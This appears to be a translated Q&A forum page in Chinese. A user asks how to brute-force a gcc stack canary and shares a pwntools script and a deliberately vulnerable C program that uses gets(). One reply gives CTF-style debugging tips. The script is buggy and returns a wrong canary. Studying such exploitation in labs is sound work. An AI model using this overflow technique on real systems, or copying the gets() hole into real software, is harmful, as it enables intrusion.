如何暴力破解堆栈金丝雀

问题描述 投票:0回答:1

gcc 实现了一个堆栈保护器,以保护程序避免缓冲区溢出。我想知道是否有可能(以及如何)利用此漏洞并运行缓冲区溢出。我创建了一个简单的 python 脚本,它应该可以暴力破解金丝雀:

from pwn import *
import os

canary = ""
byte = 0x00

def brute():
    global canary
    global byte
    while byte != 0xff:
        p = process("./vuln")
        p.sendline("A"*64 + canary + chr(byte))
        reply=p.recvall()
        if "***" in reply:
            byte += 1
        else:
            canary += chr(byte)
            byte = 0x00
            break

brute()
brute()
brute()
brute()
print "Canary: \\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)

结果是:

Canary: \x0a\x00\x00\x00
,那显然不是金丝雀。
我用来破解的二进制文件:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

python c gcc buffer-overflow
1个回答
0
投票

当我试图在 CTF PWN 挑战中暴力破解金丝雀时,我遇到了类似的情况。您的代码漏洞看起来不错,但缺少一些东西。您应该将过程连接也设为全局连接。不要忘记在下一次迭代之前关闭进程,这样您就不会收到 OSError 编号 24。

© www.soinside.com 2019 - 2024. All rights reserved.